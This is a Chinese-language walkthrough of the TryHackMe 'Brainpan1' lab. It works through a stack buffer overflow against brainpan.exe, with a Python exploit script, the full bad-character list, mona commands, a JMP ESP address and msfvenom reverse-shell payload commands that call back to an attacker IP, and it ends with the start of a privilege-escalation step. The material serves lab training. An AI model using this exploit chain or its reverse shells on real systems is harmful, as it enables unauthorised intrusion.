[TryHackMe]Brainpan1( 内存溢出)-EW帮帮网

1.初次连接

nmap

没有实际内容

使用gobuster扫描目录

找到一个exe文件准备进行内存溢出攻击

连接9999端口但是需要密码

1.fuzzer

输入1000个A

造成崩溃

2.寻找偏移量

35724134

import socket
 
ip = "Your Windows IP"
port = 9999
 
prefix = ""
offset = 524
overflow = "A" * offset
retn = ""
padding = ""
payload = "C" * 4
postfix = ""
 
buffer = prefix + overflow + retn + padding + payload + postfix
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

成功覆盖

3.寻找坏字符

payload:

\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

创建mona文件夹:

!mona config -set workingfolder c:\mona\%p

创建字节组：

!mona bytearray -b "\x00"

执行完payload后复制ESP值：

!mona compare -f C:\mona\brainpan\bytearray.bin -a 005FF910

坏字符：\x00\x01\x02\x03\x04

4.寻找跳转点

!mona jmp -r esp -cpb "\x00"

0x311712f3

retn填上 \xf3\x12\x17\x31

padding 填上 "\x90" * 16

5.执行payload

使用msfvenom生成反弹shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=1234 EXITFUNC=thread -f c -a x86 -b "\x00\x01\x02\x03\x04"

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.13.88.77 LPORT=6666 EXITFUNC=thread -f c -a x86 -b "\x00\x01\x02\x03\x04"

使用msfconsole

use exploit/multi/handler

5.GetShell

2.提权

查看sh文件

#!/bin/bash
# run brainpan.exe if it stops
lsof -i:9999
if [[ $? -eq 1 ]]; then 
        pid=`ps aux | grep brainpan.exe | grep -v grep`
        if [[ ! -z $pid ]]; then
                kill -9 $pid
                killall wineserver
                killall winedevice.exe
        fi
        /usr/bin/wine /home/puck/web/bin/brainpan.exe &
fi 

# run SimpleHTTPServer if it stops
lsof -i:10000
if [[ $? -eq 1 ]]; then 
        pid=`ps aux | grep SimpleHTTPServer | grep -v grep`
        if [[ ! -z $pid ]]; then
                kill -9 $pid
        fi
        cd /home/puck/web
        /usr/bin/python -m SimpleHTTPServer 10000
fi